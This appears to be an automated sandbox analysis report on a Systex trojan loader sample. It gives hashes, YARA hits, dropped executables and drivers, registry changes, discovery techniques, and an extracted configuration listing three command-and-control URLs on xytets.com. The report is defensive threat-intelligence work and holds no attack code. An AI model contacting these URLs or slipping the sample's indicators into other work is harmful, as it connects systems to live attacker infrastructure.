systex | b3936d2e3e3a495a92cc22a2a9df5e4aac733f80878d0c7ce5bf2bca08cb127d

Analysis

max time kernel
149s
max time network
150s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
18/07/2026, 03:51

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-07-17_5415af921dd50681ab53318877857e15_coinminer_elex_redline-stealer_rhadamanthys_stop.exe
Size 291KB
Sample260718-eexctsfv3n
SHA256 b3936d2e3e3a495a92cc22a2a9df5e4aac733f80878d0c7ce5bf2bca08cb127d
MD5 5415af921dd50681ab53318877857e15
SHA1 269cb2313286ccd172232cc4e9022689760b241e
SHA512 1f42e61d158fa965ec7da8acc0c9aff768380e41773ccad4539eb55a466f4e17273535e6a3257a06ddfa465cd31a2240776b86e4d197738bc54868216acb1bc2
SSDEEP 3072:cJWhL0cgHsQB8BPFvdRcF8rFz1wxayNM3coteYnwrZwuhT7kr6+rY9:cghLWsQmpcF8BzXfwVTTIr6N
TLSH
T113544A0272808071E7560B78045AE7A14A7E7D344BB5D68FF7A83B7A5E702D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

adware discovery systex spyware trojan upx

Malware Config

Extracted

Family

systex

http://xytets.com:2345/t.asp?os=wangba8102
http://xytets.com:2345/ll/out.txt
http://xytets.com:2345/t.asp?os=home8102

Signatures

Family: Systex
Systex is a trojan loader written in C++.
trojan systex

UPX dump on OEP (original entry point) 64 IoCs

resource	yara_rule
behavioral2/memory/3564-0-0x0000000000490000-0x00000000004DB000-memory.dmp	UPX
behavioral2/files/0x000e00000001c50b-68.dat	UPX
behavioral2/memory/5572-69-0x0000000000BB0000-0x0000000000BFB000-memory.dmp	UPX
behavioral2/memory/5572-72-0x0000000000BB0000-0x0000000000BFB000-memory.dmp	UPX
behavioral2/files/0x001600000001c508-186.dat	UPX
behavioral2/memory/4468-187-0x0000000000450000-0x000000000049B000-memory.dmp	UPX
behavioral2/memory/3564-193-0x0000000000490000-0x00000000004DB000-memory.dmp	UPX
behavioral2/memory/4468-195-0x0000000000450000-0x000000000049B000-memory.dmp	UPX
behavioral2/files/0x000900000001888b-227.dat	UPX
behavioral2/memory/1868-228-0x00000000000C0000-0x000000000010B000-memory.dmp	UPX
behavioral2/memory/1868-231-0x00000000000C0000-0x000000000010B000-memory.dmp	UPX
behavioral2/files/0x000a00000001888b-234.dat	UPX
behavioral2/memory/3176-235-0x0000000000EF0000-0x0000000000F3B000-memory.dmp	UPX
behavioral2/memory/3176-238-0x0000000000EF0000-0x0000000000F3B000-memory.dmp	UPX
behavioral2/memory/4668-252-0x0000000000A80000-0x0000000000ACB000-memory.dmp	UPX
behavioral2/memory/4668-255-0x0000000000A80000-0x0000000000ACB000-memory.dmp	UPX
behavioral2/files/0x000600000001b6cb-253.dat	UPX
behavioral2/memory/2384-267-0x0000000000EA0000-0x0000000000EEB000-memory.dmp	UPX
behavioral2/files/0x000400000001b079-268.dat	UPX
behavioral2/memory/2384-278-0x0000000000EA0000-0x0000000000EEB000-memory.dmp	UPX
behavioral2/files/0x000500000001b079-283.dat	UPX
behavioral2/memory/1432-284-0x00000000000C0000-0x000000000010B000-memory.dmp	UPX
behavioral2/memory/1432-287-0x00000000000C0000-0x000000000010B000-memory.dmp	UPX
behavioral2/files/0x000600000001b079-290.dat	UPX
behavioral2/memory/2472-291-0x0000000000AF0000-0x0000000000B3B000-memory.dmp	UPX
behavioral2/memory/2472-294-0x0000000000AF0000-0x0000000000B3B000-memory.dmp	UPX
behavioral2/files/0x000700000001b079-299.dat	UPX
behavioral2/memory/4544-300-0x0000000000A20000-0x0000000000A6B000-memory.dmp	UPX
behavioral2/memory/4544-303-0x0000000000A20000-0x0000000000A6B000-memory.dmp	UPX
behavioral2/files/0x000800000001b079-307.dat	UPX
behavioral2/memory/4720-308-0x00000000001D0000-0x000000000021B000-memory.dmp	UPX
behavioral2/memory/4720-311-0x00000000001D0000-0x000000000021B000-memory.dmp	UPX
behavioral2/files/0x000c00000001888b-332.dat	UPX
behavioral2/memory/2356-333-0x0000000000FC0000-0x000000000100B000-memory.dmp	UPX
behavioral2/memory/2356-336-0x0000000000FC0000-0x000000000100B000-memory.dmp	UPX
behavioral2/files/0x000d00000001888b-339.dat	UPX
behavioral2/memory/2376-340-0x0000000000500000-0x000000000054B000-memory.dmp	UPX
behavioral2/memory/2376-343-0x0000000000500000-0x000000000054B000-memory.dmp	UPX
behavioral2/memory/364-347-0x0000000000290000-0x00000000002DB000-memory.dmp	UPX
behavioral2/memory/364-348-0x0000000000290000-0x00000000002DB000-memory.dmp	UPX
behavioral2/memory/3472-350-0x0000000000410000-0x000000000045B000-memory.dmp	UPX
behavioral2/memory/3472-352-0x0000000000410000-0x000000000045B000-memory.dmp	UPX
behavioral2/memory/2064-354-0x0000000000210000-0x000000000025B000-memory.dmp	UPX
behavioral2/memory/2064-355-0x0000000000210000-0x000000000025B000-memory.dmp	UPX
behavioral2/memory/6120-357-0x0000000000D10000-0x0000000000D5B000-memory.dmp	UPX
behavioral2/memory/6120-370-0x0000000000D10000-0x0000000000D5B000-memory.dmp	UPX
behavioral2/memory/1148-374-0x00000000007A0000-0x00000000007EB000-memory.dmp	UPX
behavioral2/memory/1148-375-0x00000000007A0000-0x00000000007EB000-memory.dmp	UPX
behavioral2/memory/5472-377-0x00000000008A0000-0x00000000008EB000-memory.dmp	UPX
behavioral2/memory/5472-379-0x00000000008A0000-0x00000000008EB000-memory.dmp	UPX
behavioral2/memory/4148-398-0x00000000003E0000-0x000000000042B000-memory.dmp	UPX
behavioral2/memory/4148-399-0x00000000003E0000-0x000000000042B000-memory.dmp	UPX
behavioral2/memory/728-406-0x0000000000120000-0x000000000016B000-memory.dmp	UPX
behavioral2/memory/728-412-0x0000000000120000-0x000000000016B000-memory.dmp	UPX
behavioral2/memory/2604-415-0x0000000000C50000-0x0000000000C9B000-memory.dmp	UPX
behavioral2/memory/2604-416-0x0000000000C50000-0x0000000000C9B000-memory.dmp	UPX
behavioral2/memory/1276-426-0x0000000000E70000-0x0000000000EBB000-memory.dmp	UPX
behavioral2/memory/1276-436-0x0000000000E70000-0x0000000000EBB000-memory.dmp	UPX
behavioral2/memory/5988-439-0x00000000009E0000-0x0000000000A2B000-memory.dmp	UPX
behavioral2/memory/5988-440-0x00000000009E0000-0x0000000000A2B000-memory.dmp	UPX
behavioral2/memory/5000-442-0x0000000000E90000-0x0000000000EDB000-memory.dmp	UPX
behavioral2/memory/5000-460-0x0000000000E90000-0x0000000000EDB000-memory.dmp	UPX
behavioral2/memory/804-463-0x0000000000E30000-0x0000000000E7B000-memory.dmp	UPX
behavioral2/memory/804-464-0x0000000000E30000-0x0000000000E7B000-memory.dmp	UPX

Executes dropped EXE 64 IoCs

pid	Process
4744	CP.exe
5572	ecwumgezro.exe
4868	CP.exe
2160	CP.exe
4468	i_ecwumgezro.exe
2896	jdywqojgby.sys
6124	CP.exe
1868	zwqoigdbzt.exe
5492	CP.exe
2484	CP.exe
3176	i_zwqoigdbzt.exe
2580	ytqoigeywq.sys
3152	CP.exe
4668	nlgdywqljd.exe
3648	CP.exe
4684	CP.exe
2384	i_nlgdywqljd.exe
804	vtnlfayvql.sys
860	CP.exe
1432	nlfdyvtqli.exe
2148	CP.exe
5468	CP.exe
2472	i_nlfdyvtqli.exe
1976	nifdxvqnlf.sys
5740	CP.exe
4544	igaysqkida.exe
5564	CP.exe
204	CP.exe
4720	i_igaysqkida.exe
5904	causqkicau.sys
2624	CP.exe
2356	zxvpkicaus.exe
2236	CP.exe
5624	CP.exe
2376	i_zxvpkicaus.exe
3396	nhfzxspnkh.sys
3008	CP.exe
364	fcxuspkhca.exe
5288	CP.exe
6076	CP.exe
3472	i_fcxuspkhca.exe
4132	khczusmkec.sys
4420	CP.exe
2064	hezwusmhfc.exe
5004	CP.exe
1604	CP.exe
6120	i_hezwusmhfc.exe
2604	zxromjhbzu.sys
2536	CP.exe
1148	wrpjhbzwuo.exe
4384	CP.exe
1316	CP.exe
5472	i_wrpjhbzwuo.exe
6056	ojgbztrljd.sys
3580	CP.exe
4148	mgeywrojgb.exe
5260	CP.exe
5396	CP.exe
728	i_mgeywrojgb.exe
1596	rojgeywtrl.sys
716	CP.exe
2604	wqoigbytrl.exe
3656	CP.exe
4752	CP.exe

UPX packed file 64 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/3564-0-0x0000000000490000-0x00000000004DB000-memory.dmp	upx
behavioral2/files/0x000e00000001c50b-68.dat	upx
behavioral2/memory/5572-69-0x0000000000BB0000-0x0000000000BFB000-memory.dmp	upx
behavioral2/memory/5572-72-0x0000000000BB0000-0x0000000000BFB000-memory.dmp	upx
behavioral2/files/0x001600000001c508-186.dat	upx
behavioral2/memory/4468-187-0x0000000000450000-0x000000000049B000-memory.dmp	upx
behavioral2/memory/3564-193-0x0000000000490000-0x00000000004DB000-memory.dmp	upx
behavioral2/memory/4468-195-0x0000000000450000-0x000000000049B000-memory.dmp	upx
behavioral2/files/0x000900000001888b-227.dat	upx
behavioral2/memory/1868-228-0x00000000000C0000-0x000000000010B000-memory.dmp	upx
behavioral2/memory/1868-231-0x00000000000C0000-0x000000000010B000-memory.dmp	upx
behavioral2/files/0x000a00000001888b-234.dat	upx
behavioral2/memory/3176-235-0x0000000000EF0000-0x0000000000F3B000-memory.dmp	upx
behavioral2/memory/3176-238-0x0000000000EF0000-0x0000000000F3B000-memory.dmp	upx
behavioral2/memory/4668-252-0x0000000000A80000-0x0000000000ACB000-memory.dmp	upx
behavioral2/memory/4668-255-0x0000000000A80000-0x0000000000ACB000-memory.dmp	upx
behavioral2/files/0x000600000001b6cb-253.dat	upx
behavioral2/memory/2384-267-0x0000000000EA0000-0x0000000000EEB000-memory.dmp	upx
behavioral2/files/0x000400000001b079-268.dat	upx
behavioral2/memory/2384-278-0x0000000000EA0000-0x0000000000EEB000-memory.dmp	upx
behavioral2/files/0x000500000001b079-283.dat	upx
behavioral2/memory/1432-284-0x00000000000C0000-0x000000000010B000-memory.dmp	upx
behavioral2/memory/1432-287-0x00000000000C0000-0x000000000010B000-memory.dmp	upx
behavioral2/files/0x000600000001b079-290.dat	upx
behavioral2/memory/2472-291-0x0000000000AF0000-0x0000000000B3B000-memory.dmp	upx
behavioral2/memory/2472-294-0x0000000000AF0000-0x0000000000B3B000-memory.dmp	upx
behavioral2/files/0x000700000001b079-299.dat	upx
behavioral2/memory/4544-300-0x0000000000A20000-0x0000000000A6B000-memory.dmp	upx
behavioral2/memory/4544-303-0x0000000000A20000-0x0000000000A6B000-memory.dmp	upx
behavioral2/files/0x000800000001b079-307.dat	upx
behavioral2/memory/4720-308-0x00000000001D0000-0x000000000021B000-memory.dmp	upx
behavioral2/memory/4720-311-0x00000000001D0000-0x000000000021B000-memory.dmp	upx
behavioral2/files/0x000c00000001888b-332.dat	upx
behavioral2/memory/2356-333-0x0000000000FC0000-0x000000000100B000-memory.dmp	upx
behavioral2/memory/2356-336-0x0000000000FC0000-0x000000000100B000-memory.dmp	upx
behavioral2/files/0x000d00000001888b-339.dat	upx
behavioral2/memory/2376-340-0x0000000000500000-0x000000000054B000-memory.dmp	upx
behavioral2/memory/2376-343-0x0000000000500000-0x000000000054B000-memory.dmp	upx
behavioral2/memory/364-347-0x0000000000290000-0x00000000002DB000-memory.dmp	upx
behavioral2/memory/364-348-0x0000000000290000-0x00000000002DB000-memory.dmp	upx
behavioral2/memory/3472-350-0x0000000000410000-0x000000000045B000-memory.dmp	upx
behavioral2/memory/3472-352-0x0000000000410000-0x000000000045B000-memory.dmp	upx
behavioral2/memory/2064-354-0x0000000000210000-0x000000000025B000-memory.dmp	upx
behavioral2/memory/2064-355-0x0000000000210000-0x000000000025B000-memory.dmp	upx
behavioral2/memory/6120-357-0x0000000000D10000-0x0000000000D5B000-memory.dmp	upx
behavioral2/memory/6120-370-0x0000000000D10000-0x0000000000D5B000-memory.dmp	upx
behavioral2/memory/1148-374-0x00000000007A0000-0x00000000007EB000-memory.dmp	upx
behavioral2/memory/1148-375-0x00000000007A0000-0x00000000007EB000-memory.dmp	upx
behavioral2/memory/5472-377-0x00000000008A0000-0x00000000008EB000-memory.dmp	upx
behavioral2/memory/5472-379-0x00000000008A0000-0x00000000008EB000-memory.dmp	upx
behavioral2/memory/4148-398-0x00000000003E0000-0x000000000042B000-memory.dmp	upx
behavioral2/memory/4148-399-0x00000000003E0000-0x000000000042B000-memory.dmp	upx
behavioral2/memory/728-406-0x0000000000120000-0x000000000016B000-memory.dmp	upx
behavioral2/memory/728-412-0x0000000000120000-0x000000000016B000-memory.dmp	upx
behavioral2/memory/2604-415-0x0000000000C50000-0x0000000000C9B000-memory.dmp	upx
behavioral2/memory/2604-416-0x0000000000C50000-0x0000000000C9B000-memory.dmp	upx
behavioral2/memory/1276-426-0x0000000000E70000-0x0000000000EBB000-memory.dmp	upx
behavioral2/memory/1276-436-0x0000000000E70000-0x0000000000EBB000-memory.dmp	upx
behavioral2/memory/5988-439-0x00000000009E0000-0x0000000000A2B000-memory.dmp	upx
behavioral2/memory/5988-440-0x00000000009E0000-0x0000000000A2B000-memory.dmp	upx
behavioral2/memory/5000-442-0x0000000000E90000-0x0000000000EDB000-memory.dmp	upx
behavioral2/memory/5000-460-0x0000000000E90000-0x0000000000EDB000-memory.dmp	upx
behavioral2/memory/804-463-0x0000000000E30000-0x0000000000E7B000-memory.dmp	upx
behavioral2/memory/804-464-0x0000000000E30000-0x0000000000E7B000-memory.dmp	upx

Drops file in Windows directory 9 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4912_726807665\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4912_866378928\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4912_1446190617\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4912_1446190617\office_endpoints_list.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4912_153859260\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4912_153859260\protocols.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4912_866378928\nav_config.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4912_1446190617\llm_user_input_extractor_config.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4912_1446190617\smart_switch_list.json	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Location Discovery: System Language Discovery 1 TTPs 42 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xrpmhfzwrp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_mgeywromge.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ecwumgezro.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_zwqoigdbzt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	nlfdyvtqli.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_igaysqkida.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	zxvpkicaus.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	fcxuspkhca.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_hezwusmhfc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wrpjhbzwuo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_nlgdywqljd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_nlfdyvtqli.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_fcxuspkhca.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_mgeywrojgb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_aytqoigdbq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_kicavsnkic.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_pkhfzxupnk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_cxupmhfcxu.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CP.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	igaysqkida.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	kicavsnkic.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cxupmhfcxu.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_xrpmhfzwrp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ecwumgezro.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_tnlidaysnl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_geywqoljgb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	oigbywqoig.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_oigbywqoig.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	nlgdywqljd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	aytqoigdbq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	zwqoigdbzt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_zxvpkicaus.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wqoigbytrl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_wqoigbytrl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tnlidaysnl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	pkhfzxupnk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	geywqoljgb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_wrpjhbzwuo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mgeywrojgb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mgeywromge.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2026-07-17_5415af921dd50681ab53318877857e15_coinminer_elex_redline-stealer_rhadamanthys_stop.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	hezwusmhfc.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
5204	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Gathers network information 2 TTPs 20 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
440	ipconfig.exe
5088	ipconfig.exe
4320	ipconfig.exe
1380	ipconfig.exe
4980	ipconfig.exe
4360	ipconfig.exe
804	ipconfig.exe
5396	ipconfig.exe
4468	ipconfig.exe
5712	ipconfig.exe
4832	ipconfig.exe
3272	ipconfig.exe
2812	ipconfig.exe
2680	ipconfig.exe
2644	ipconfig.exe
4852	ipconfig.exe
5848	ipconfig.exe
4312	ipconfig.exe
2936	ipconfig.exe
3904	ipconfig.exe

Modifies Internet Explorer settings 1 TTPs 6 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-1079202589-886135813-2527035092-1000\Software\Microsoft\Internet Explorer\Main\DisableFirstRunCustomize = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1079202589-886135813-2527035092-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1079202589-886135813-2527035092-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1079202589-886135813-2527035092-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1079202589-886135813-2527035092-1000\Software\Microsoft\Internet Explorer\Main\DisableFirstRunCustomize = "1"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1079202589-886135813-2527035092-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134288203169372541"	msedge.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-1079202589-886135813-2527035092-1000\{D1C95DFC-0AC0-4EBF-8DCE-EFF09239E7B0}	msedge.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3564	2026-07-17_5415af921dd50681ab53318877857e15_coinminer_elex_redline-stealer_rhadamanthys_stop.exe
3564	2026-07-17_5415af921dd50681ab53318877857e15_coinminer_elex_redline-stealer_rhadamanthys_stop.exe
3564	2026-07-17_5415af921dd50681ab53318877857e15_coinminer_elex_redline-stealer_rhadamanthys_stop.exe
3564	2026-07-17_5415af921dd50681ab53318877857e15_coinminer_elex_redline-stealer_rhadamanthys_stop.exe
3564	2026-07-17_5415af921dd50681ab53318877857e15_coinminer_elex_redline-stealer_rhadamanthys_stop.exe
3564	2026-07-17_5415af921dd50681ab53318877857e15_coinminer_elex_redline-stealer_rhadamanthys_stop.exe
3564	2026-07-17_5415af921dd50681ab53318877857e15_coinminer_elex_redline-stealer_rhadamanthys_stop.exe
3564	2026-07-17_5415af921dd50681ab53318877857e15_coinminer_elex_redline-stealer_rhadamanthys_stop.exe
3564	2026-07-17_5415af921dd50681ab53318877857e15_coinminer_elex_redline-stealer_rhadamanthys_stop.exe
3564	2026-07-17_5415af921dd50681ab53318877857e15_coinminer_elex_redline-stealer_rhadamanthys_stop.exe
3564	2026-07-17_5415af921dd50681ab53318877857e15_coinminer_elex_redline-stealer_rhadamanthys_stop.exe
3564	2026-07-17_5415af921dd50681ab53318877857e15_coinminer_elex_redline-stealer_rhadamanthys_stop.exe
3564	2026-07-17_5415af921dd50681ab53318877857e15_coinminer_elex_redline-stealer_rhadamanthys_stop.exe
3564	2026-07-17_5415af921dd50681ab53318877857e15_coinminer_elex_redline-stealer_rhadamanthys_stop.exe
3564	2026-07-17_5415af921dd50681ab53318877857e15_coinminer_elex_redline-stealer_rhadamanthys_stop.exe
3564	2026-07-17_5415af921dd50681ab53318877857e15_coinminer_elex_redline-stealer_rhadamanthys_stop.exe
3564	2026-07-17_5415af921dd50681ab53318877857e15_coinminer_elex_redline-stealer_rhadamanthys_stop.exe
3564	2026-07-17_5415af921dd50681ab53318877857e15_coinminer_elex_redline-stealer_rhadamanthys_stop.exe
3564	2026-07-17_5415af921dd50681ab53318877857e15_coinminer_elex_redline-stealer_rhadamanthys_stop.exe
3564	2026-07-17_5415af921dd50681ab53318877857e15_coinminer_elex_redline-stealer_rhadamanthys_stop.exe
3564	2026-07-17_5415af921dd50681ab53318877857e15_coinminer_elex_redline-stealer_rhadamanthys_stop.exe
3564	2026-07-17_5415af921dd50681ab53318877857e15_coinminer_elex_redline-stealer_rhadamanthys_stop.exe
3564	2026-07-17_5415af921dd50681ab53318877857e15_coinminer_elex_redline-stealer_rhadamanthys_stop.exe
3564	2026-07-17_5415af921dd50681ab53318877857e15_coinminer_elex_redline-stealer_rhadamanthys_stop.exe
3564	2026-07-17_5415af921dd50681ab53318877857e15_coinminer_elex_redline-stealer_rhadamanthys_stop.exe
3564	2026-07-17_5415af921dd50681ab53318877857e15_coinminer_elex_redline-stealer_rhadamanthys_stop.exe
3564	2026-07-17_5415af921dd50681ab53318877857e15_coinminer_elex_redline-stealer_rhadamanthys_stop.exe
3564	2026-07-17_5415af921dd50681ab53318877857e15_coinminer_elex_redline-stealer_rhadamanthys_stop.exe
3564	2026-07-17_5415af921dd50681ab53318877857e15_coinminer_elex_redline-stealer_rhadamanthys_stop.exe
3564	2026-07-17_5415af921dd50681ab53318877857e15_coinminer_elex_redline-stealer_rhadamanthys_stop.exe
3564	2026-07-17_5415af921dd50681ab53318877857e15_coinminer_elex_redline-stealer_rhadamanthys_stop.exe
3564	2026-07-17_5415af921dd50681ab53318877857e15_coinminer_elex_redline-stealer_rhadamanthys_stop.exe
3564	2026-07-17_5415af921dd50681ab53318877857e15_coinminer_elex_redline-stealer_rhadamanthys_stop.exe
3564	2026-07-17_5415af921dd50681ab53318877857e15_coinminer_elex_redline-stealer_rhadamanthys_stop.exe
3564	2026-07-17_5415af921dd50681ab53318877857e15_coinminer_elex_redline-stealer_rhadamanthys_stop.exe
3564	2026-07-17_5415af921dd50681ab53318877857e15_coinminer_elex_redline-stealer_rhadamanthys_stop.exe
3564	2026-07-17_5415af921dd50681ab53318877857e15_coinminer_elex_redline-stealer_rhadamanthys_stop.exe
3564	2026-07-17_5415af921dd50681ab53318877857e15_coinminer_elex_redline-stealer_rhadamanthys_stop.exe
3564	2026-07-17_5415af921dd50681ab53318877857e15_coinminer_elex_redline-stealer_rhadamanthys_stop.exe
3564	2026-07-17_5415af921dd50681ab53318877857e15_coinminer_elex_redline-stealer_rhadamanthys_stop.exe
3564	2026-07-17_5415af921dd50681ab53318877857e15_coinminer_elex_redline-stealer_rhadamanthys_stop.exe
3564	2026-07-17_5415af921dd50681ab53318877857e15_coinminer_elex_redline-stealer_rhadamanthys_stop.exe
3564	2026-07-17_5415af921dd50681ab53318877857e15_coinminer_elex_redline-stealer_rhadamanthys_stop.exe
3564	2026-07-17_5415af921dd50681ab53318877857e15_coinminer_elex_redline-stealer_rhadamanthys_stop.exe
3564	2026-07-17_5415af921dd50681ab53318877857e15_coinminer_elex_redline-stealer_rhadamanthys_stop.exe
3564	2026-07-17_5415af921dd50681ab53318877857e15_coinminer_elex_redline-stealer_rhadamanthys_stop.exe
3564	2026-07-17_5415af921dd50681ab53318877857e15_coinminer_elex_redline-stealer_rhadamanthys_stop.exe
3564	2026-07-17_5415af921dd50681ab53318877857e15_coinminer_elex_redline-stealer_rhadamanthys_stop.exe
3564	2026-07-17_5415af921dd50681ab53318877857e15_coinminer_elex_redline-stealer_rhadamanthys_stop.exe
3564	2026-07-17_5415af921dd50681ab53318877857e15_coinminer_elex_redline-stealer_rhadamanthys_stop.exe
3564	2026-07-17_5415af921dd50681ab53318877857e15_coinminer_elex_redline-stealer_rhadamanthys_stop.exe
3564	2026-07-17_5415af921dd50681ab53318877857e15_coinminer_elex_redline-stealer_rhadamanthys_stop.exe
3564	2026-07-17_5415af921dd50681ab53318877857e15_coinminer_elex_redline-stealer_rhadamanthys_stop.exe
3564	2026-07-17_5415af921dd50681ab53318877857e15_coinminer_elex_redline-stealer_rhadamanthys_stop.exe
3564	2026-07-17_5415af921dd50681ab53318877857e15_coinminer_elex_redline-stealer_rhadamanthys_stop.exe
3564	2026-07-17_5415af921dd50681ab53318877857e15_coinminer_elex_redline-stealer_rhadamanthys_stop.exe
5572	ecwumgezro.exe
5572	ecwumgezro.exe
5572	ecwumgezro.exe
5572	ecwumgezro.exe
5572	ecwumgezro.exe
5572	ecwumgezro.exe
5572	ecwumgezro.exe
5572	ecwumgezro.exe

Suspicious behavior: LoadsDriver 19 IoCs

pid	Process
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 6 IoCs

pid	Process
4912	msedge.exe
4912	msedge.exe
4912	msedge.exe
4912	msedge.exe
4912	msedge.exe
